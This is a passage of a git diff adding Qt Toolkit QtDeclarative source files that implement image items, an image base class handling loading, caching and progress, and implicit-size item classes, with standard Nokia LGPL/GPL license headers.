+class Q_AUTOTEST_EXPORT QDeclarativeImage : public QDeclarativeImageBase
+{
+ Q_OBJECT
+ Q_ENUMS(FillMode)
+
+ Q_PROPERTY(FillMode fillMode READ fillMode WRITE setFillMode NOTIFY fillModeChanged)
+ Q_PROPERTY(qreal paintedWidth READ paintedWidth NOTIFY paintedGeometryChanged)
+ Q_PROPERTY(qreal paintedHeight READ paintedHeight NOTIFY paintedGeometryChanged)
+
+public:
+ QDeclarativeImage(QDeclarativeItem *parent=0);
+ ~QDeclarativeImage();
+
+ enum FillMode { Stretch, PreserveAspectFit, PreserveAspectCrop, Tile, TileVertically, TileHorizontally };
+ FillMode fillMode() const;
+ void setFillMode(FillMode);
+
+ QPixmap pixmap() const;
+ void setPixmap(const QPixmap &);
+
+ qreal paintedWidth() const;
+ qreal paintedHeight() const;
+
+ void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *);
+ QRectF boundingRect() const;
+
+Q_SIGNALS:
+ void fillModeChanged();
+ void paintedGeometryChanged();
+
+protected:
+ QDeclarativeImage(QDeclarativeImagePrivate &dd, QDeclarativeItem *parent);
+ void geometryChanged(const QRectF &newGeometry, const QRectF &oldGeometry);
+ void pixmapChange();
+ void updatePaintedGeometry();
+
+private:
+ Q_DISABLE_COPY(QDeclarativeImage)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeImage)
+};
+
+QT_END_NAMESPACE
+QML_DECLARE_TYPE(QDeclarativeImage)
+QT_END_HEADER
+
+#endif // QDECLARATIVEIMAGE_H
diff --git a/src/declarative/graphicsitems/qdeclarativeimage_p_p.h b/src/declarative/graphicsitems/qdeclarativeimage_p_p.h
new file mode 100644
index 00000000..26f1680e
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeimage_p_p.h
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEIMAGE_P_H
+#define QDECLARATIVEIMAGE_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativeitem_p.h"
+#include "private/qdeclarativeimagebase_p_p.h"
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeImagePrivate : public QDeclarativeImageBasePrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeImage)
+
+public:
+ QDeclarativeImagePrivate()
+ : fillMode(QDeclarativeImage::Stretch), paintedWidth(0), paintedHeight(0)
+ {
+ }
+
+ QDeclarativeImage::FillMode fillMode;
+ qreal paintedWidth;
+ qreal paintedHeight;
+ void setPixmap(const QPixmap &pix);
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEIMAGE_P_H
diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
new file mode 100644
index 00000000..cd1d3f68
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
@@ -0,0 +1,284 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeimagebase_p.h"
+#include "private/qdeclarativeimagebase_p_p.h"
+
+#include <qdeclarativeengine.h>
+#include <qdeclarativeinfo.h>
+#include <qdeclarativepixmapcache_p.h>
+
+QT_BEGIN_NAMESPACE
+
+QDeclarativeImageBase::QDeclarativeImageBase(QDeclarativeItem *parent)
+ : QDeclarativeImplicitSizeItem(*(new QDeclarativeImageBasePrivate), parent)
+{
+}
+
+QDeclarativeImageBase::QDeclarativeImageBase(QDeclarativeImageBasePrivate &dd, QDeclarativeItem *parent)
+ : QDeclarativeImplicitSizeItem(dd, parent)
+{
+}
+
+QDeclarativeImageBase::~QDeclarativeImageBase()
+{
+}
+
+QDeclarativeImageBase::Status QDeclarativeImageBase::status() const
+{
+ Q_D(const QDeclarativeImageBase);
+ return d->status;
+}
+
+
+qreal QDeclarativeImageBase::progress() const
+{
+ Q_D(const QDeclarativeImageBase);
+ return d->progress;
+}
+
+
+bool QDeclarativeImageBase::asynchronous() const
+{
+ Q_D(const QDeclarativeImageBase);
+ return d->async;
+}
+
+void QDeclarativeImageBase::setAsynchronous(bool async)
+{
+ Q_D(QDeclarativeImageBase);
+ if (d->async != async) {
+ d->async = async;
+ emit asynchronousChanged();
+ }
+}
+
+QUrl QDeclarativeImageBase::source() const
+{
+ Q_D(const QDeclarativeImageBase);
+ return d->url;
+}
+
+void QDeclarativeImageBase::setSource(const QUrl &url)
+{
+ Q_D(QDeclarativeImageBase);
+ //equality is fairly expensive, so we bypass for simple, common case
+ if ((d->url.isEmpty() == url.isEmpty()) && url == d->url)
+ return;
+
+ d->url = url;
+ emit sourceChanged(d->url);
+
+ if (isComponentComplete())
+ load();
+}
+
+void QDeclarativeImageBase::setSourceSize(const QSize& size)
+{
+ Q_D(QDeclarativeImageBase);
+ if (d->sourcesize == size)
+ return;
+
+ d->sourcesize = size;
+ d->explicitSourceSize = true;
+ emit sourceSizeChanged();
+ if (isComponentComplete())
+ load();
+}
+
+QSize QDeclarativeImageBase::sourceSize() const
+{
+ Q_D(const QDeclarativeImageBase);
+
+ int width = d->sourcesize.width();
+ int height = d->sourcesize.height();
+ return QSize(width != -1 ? width : d->pix.width(), height != -1 ? height : d->pix.height());
+}
+
+void QDeclarativeImageBase::resetSourceSize()
+{
+ Q_D(QDeclarativeImageBase);
+ if (!d->explicitSourceSize)
+ return;
+ d->explicitSourceSize = false;
+ d->sourcesize = QSize();
+ emit sourceSizeChanged();
+ if (isComponentComplete())
+ load();
+}
+
+bool QDeclarativeImageBase::cache() const
+{
+ Q_D(const QDeclarativeImageBase);
+ return d->cache;
+}
+
+void QDeclarativeImageBase::setCache(bool cache)
+{
+ Q_D(QDeclarativeImageBase);
+ if (d->cache == cache)
+ return;
+
+ d->cache = cache;
+ emit cacheChanged();
+ if (isComponentComplete())
+ load();
+}
+
+void QDeclarativeImageBase::setMirror(bool mirror)
+{
+ Q_D(QDeclarativeImageBase);
+ if (mirror == d->mirror)
+ return;
+
+ d->mirror = mirror;
+
+ if (isComponentComplete())
+ update();
+
+ emit mirrorChanged();
+}
+
+bool QDeclarativeImageBase::mirror() const
+{
+ Q_D(const QDeclarativeImageBase);
+ return d->mirror;
+}
+
+void QDeclarativeImageBase::load()
+{
+ Q_D(QDeclarativeImageBase);
+
+ if (d->url.isEmpty()) {
+ d->pix.clear(this);
+ d->status = Null;
+ d->progress = 0.0;
+ pixmapChange();
+ emit progressChanged(d->progress);
+ emit statusChanged(d->status);
+ update();
+ } else {
+ QDeclarativePixmap::Options options;
+ if (d->async)
+ options |= QDeclarativePixmap::Asynchronous;
+ if (d->cache)
+ options |= QDeclarativePixmap::Cache;
+ d->pix.clear(this);
+ d->pix.load(qmlEngine(this), d->url, d->explicitSourceSize ? sourceSize() : QSize(), options);
+
+ if (d->pix.isLoading()) {
+ d->progress = 0.0;
+ d->status = Loading;
+ emit progressChanged(d->progress);
+ emit statusChanged(d->status);
+
+ static int thisRequestProgress = -1;
+ static int thisRequestFinished = -1;
+ if (thisRequestProgress == -1) {
+ thisRequestProgress =
+ QDeclarativeImageBase::staticMetaObject.indexOfSlot("requestProgress(qint64,qint64)");
+ thisRequestFinished =
+ QDeclarativeImageBase::staticMetaObject.indexOfSlot("requestFinished()");
+ }
+
+ d->pix.connectFinished(this, thisRequestFinished);
+ d->pix.connectDownloadProgress(this, thisRequestProgress);
+
+ } else {
+ requestFinished();
+ }
+ }
+}
+
+void QDeclarativeImageBase::requestFinished()
+{
+ Q_D(QDeclarativeImageBase);
+
+ QDeclarativeImageBase::Status oldStatus = d->status;
+ qreal oldProgress = d->progress;
+
+ if (d->pix.isError()) {
+ d->status = Error;
+ qmlInfo(this) << d->pix.error();
+ } else {
+ d->status = Ready;
+ }
+
+ d->progress = 1.0;
+
+ pixmapChange();
+
+ if (d->sourcesize.width() != d->pix.width() || d->sourcesize.height() != d->pix.height())
+ emit sourceSizeChanged();
+
+ if (d->status != oldStatus)
+ emit statusChanged(d->status);
+ if (d->progress != oldProgress)
+ emit progressChanged(d->progress);
+
+ update();
+}
+
+void QDeclarativeImageBase::requestProgress(qint64 received, qint64 total)
+{
+ Q_D(QDeclarativeImageBase);
+ if (d->status == Loading && total > 0) {
+ d->progress = qreal(received)/total;
+ emit progressChanged(d->progress);
+ }
+}
+
+void QDeclarativeImageBase::componentComplete()
+{
+ Q_D(QDeclarativeImageBase);
+ QDeclarativeItem::componentComplete();
+ if (d->url.isValid())
+ load();
+}
+
+void QDeclarativeImageBase::pixmapChange()
+{
+ Q_D(QDeclarativeImageBase);
+ setImplicitWidth(d->pix.width());
+ setImplicitHeight(d->pix.height());
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
new file mode 100644
index 00000000..6dd47302
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
@@ -0,0 +1,116 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEIMAGEBASE_H
+#define QDECLARATIVEIMAGEBASE_H
+
+#include "qdeclarativeimplicitsizeitem_p.h"
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeImageBasePrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeImageBase : public QDeclarativeImplicitSizeItem
+{
+ Q_OBJECT
+ Q_ENUMS(Status)
+
+ Q_PROPERTY(Status status READ status NOTIFY statusChanged)
+ Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged)
+ Q_PROPERTY(qreal progress READ progress NOTIFY progressChanged)
+ Q_PROPERTY(bool asynchronous READ asynchronous WRITE setAsynchronous NOTIFY asynchronousChanged)
+ Q_PROPERTY(bool cache READ cache WRITE setCache NOTIFY cacheChanged REVISION 1)
+ Q_PROPERTY(QSize sourceSize READ sourceSize WRITE setSourceSize RESET resetSourceSize NOTIFY sourceSizeChanged)
+ Q_PROPERTY(bool mirror READ mirror WRITE setMirror NOTIFY mirrorChanged REVISION 1)
+
+public:
+ QDeclarativeImageBase(QDeclarativeItem *parent=0);
+ ~QDeclarativeImageBase();
+ enum Status { Null, Ready, Loading, Error };
+ Status status() const;
+ qreal progress() const;
+
+ QUrl source() const;
+ virtual void setSource(const QUrl &url);
+
+ bool asynchronous() const;
+ void setAsynchronous(bool);
+
+ bool cache() const;
+ void setCache(bool);
+
+ virtual void setSourceSize(const QSize&);
+ QSize sourceSize() const;
+ void resetSourceSize();
+
+ virtual void setMirror(bool mirror);
+ bool mirror() const;
+
+Q_SIGNALS:
+ void sourceChanged(const QUrl &);
+ void sourceSizeChanged();
+ void statusChanged(QDeclarativeImageBase::Status);
+ void progressChanged(qreal progress);
+ void asynchronousChanged();
+ Q_REVISION(1) void cacheChanged();
+ Q_REVISION(1) void mirrorChanged();
+
+protected:
+ virtual void load();
+ virtual void componentComplete();
+ virtual void pixmapChange();
+ QDeclarativeImageBase(QDeclarativeImageBasePrivate &dd, QDeclarativeItem *parent);
+
+private Q_SLOTS:
+ virtual void requestFinished();
+ void requestProgress(qint64,qint64);
+
+private:
+ Q_DISABLE_COPY(QDeclarativeImageBase)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeImageBase)
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEIMAGEBASE_H
diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h
new file mode 100644
index 00000000..1bd5899e
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h
@@ -0,0 +1,93 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEIMAGEBASE_P_H
+#define QDECLARATIVEIMAGEBASE_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
+#include "private/qdeclarativepixmapcache_p.h"
+
+#include <QtCore/QPointer>
+
+QT_BEGIN_NAMESPACE
+
+class QNetworkReply;
+class QDeclarativeImageBasePrivate : public QDeclarativeImplicitSizeItemPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeImageBase)
+
+public:
+ QDeclarativeImageBasePrivate()
+ : status(QDeclarativeImageBase::Null),
+ progress(0.0),
+ explicitSourceSize(false),
+ async(false),
+ cache(true),
+ mirror(false)
+ {
+ QGraphicsItemPrivate::flags = QGraphicsItemPrivate::flags & ~QGraphicsItem::ItemHasNoContents;
+ }
+
+ QDeclarativePixmap pix;
+ QDeclarativeImageBase::Status status;
+ QUrl url;
+ qreal progress;
+ QSize sourcesize;
+ bool explicitSourceSize : 1;
+ bool async : 1;
+ bool cache : 1;
+ bool mirror: 1;
+};
+
+QT_END_NAMESPACE
+
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem.cpp b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem.cpp
new file mode 100644
index 00000000..3666e18e
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem.cpp
@@ -0,0 +1,92 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeimplicitsizeitem_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
+
+QT_BEGIN_NAMESPACE
+
+void QDeclarativeImplicitSizeItemPrivate::implicitWidthChanged()
+{
+ Q_Q(QDeclarativeImplicitSizeItem);
+ emit q->implicitWidthChanged();
+}
+
+void QDeclarativeImplicitSizeItemPrivate::implicitHeightChanged()
+{
+ Q_Q(QDeclarativeImplicitSizeItem);
+ emit q->implicitHeightChanged();
+}
+
+QDeclarativeImplicitSizeItem::QDeclarativeImplicitSizeItem(QDeclarativeItem *parent)
+ : QDeclarativeItem(*(new QDeclarativeImplicitSizeItemPrivate), parent)
+{
+}
+
+QDeclarativeImplicitSizeItem::QDeclarativeImplicitSizeItem(QDeclarativeImplicitSizeItemPrivate &dd, QDeclarativeItem *parent)
+ : QDeclarativeItem(dd, parent)
+{
+}
+
+
+void QDeclarativeImplicitSizePaintedItemPrivate::implicitWidthChanged()
+{
+ Q_Q(QDeclarativeImplicitSizePaintedItem);
+ emit q->implicitWidthChanged();
+}
+
+void QDeclarativeImplicitSizePaintedItemPrivate::implicitHeightChanged()
+{
+ Q_Q(QDeclarativeImplicitSizePaintedItem);
+ emit q->implicitHeightChanged();
+}
+
+QDeclarativeImplicitSizePaintedItem::QDeclarativeImplicitSizePaintedItem(QDeclarativeItem *parent)
+ : QDeclarativePaintedItem(*(new QDeclarativeImplicitSizePaintedItemPrivate), parent)
+{
+}
+
+QDeclarativeImplicitSizePaintedItem::QDeclarativeImplicitSizePaintedItem(QDeclarativeImplicitSizePaintedItemPrivate &dd, QDeclarativeItem *parent)
+ : QDeclarativePaintedItem(dd, parent)
+{
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p.h b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p.h
new file mode 100644
index 00000000..58371342
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p.h
@@ -0,0 +1,100 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEIMPLICITSIZEITEM_H
+#define QDECLARATIVEIMPLICITSIZEITEM_H
+
+#include "qdeclarativepainteditem_p.h"
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeImplicitSizeItemPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeImplicitSizeItem : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal implicitWidth READ implicitWidth NOTIFY implicitWidthChanged REVISION 1)
+ Q_PROPERTY(qreal implicitHeight READ implicitHeight NOTIFY implicitHeightChanged REVISION 1)
+
+public:
+ QDeclarativeImplicitSizeItem(QDeclarativeItem *parent = 0);
+
+protected:
+ QDeclarativeImplicitSizeItem(QDeclarativeImplicitSizeItemPrivate &dd, QDeclarativeItem *parent);
+
+Q_SIGNALS:
+ Q_REVISION(1) void implicitWidthChanged();
+ Q_REVISION(1) void implicitHeightChanged();
+
+private:
+ Q_DISABLE_COPY(QDeclarativeImplicitSizeItem)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeImplicitSizeItem)
+};
+
+class QDeclarativeImplicitSizePaintedItemPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeImplicitSizePaintedItem : public QDeclarativePaintedItem
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal implicitWidth READ implicitWidth NOTIFY implicitWidthChanged REVISION 1)
+ Q_PROPERTY(qreal implicitHeight READ implicitHeight NOTIFY implicitHeightChanged REVISION 1)
+
+public:
+ QDeclarativeImplicitSizePaintedItem(QDeclarativeItem *parent = 0);
+
+protected:
+ QDeclarativeImplicitSizePaintedItem(QDeclarativeImplicitSizePaintedItemPrivate &dd, QDeclarativeItem *parent);
+ virtual void drawContents(QPainter *, const QRect &) {};
+
+Q_SIGNALS:
+ Q_REVISION(1) void implicitWidthChanged();
+ Q_REVISION(1) void implicitHeightChanged();
+
+private:
+ Q_DISABLE_COPY(QDeclarativeImplicitSizePaintedItem)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeImplicitSizePaintedItem)
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEIMPLICITSIZEITEM_H
diff --git a/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h
new file mode 100644
index 00000000..2eb284b8
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEIMPLICITSIZEITEM_P_H
+#define QDECLARATIVEIMPLICITSIZEITEM_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativeitem_p.h"
+#include "private/qdeclarativepainteditem_p_p.h"
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeImplicitSizeItemPrivate : public QDeclarativeItemPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeImplicitSizeItem)
+
+public:
+ QDeclarativeImplicitSizeItemPrivate()
+ {
+ }
+
+ virtual void implicitWidthChanged();
+ virtual void implicitHeightChanged();
+};
+
+
+class QDeclarativeImplicitSizePaintedItemPrivate : public QDeclarativePaintedItemPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeImplicitSizePaintedItem)
+
+public:
+ QDeclarativeImplicitSizePaintedItemPrivate()
+ {
+ }
+
+ virtual void implicitWidthChanged();
+ virtual void implicitHeightChanged();
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEIMPLICITSIZEITEM_P_H
diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp
new file mode 100644
index 00000000..fa6e8e11
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp
@@ -0,0 +1,3759 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
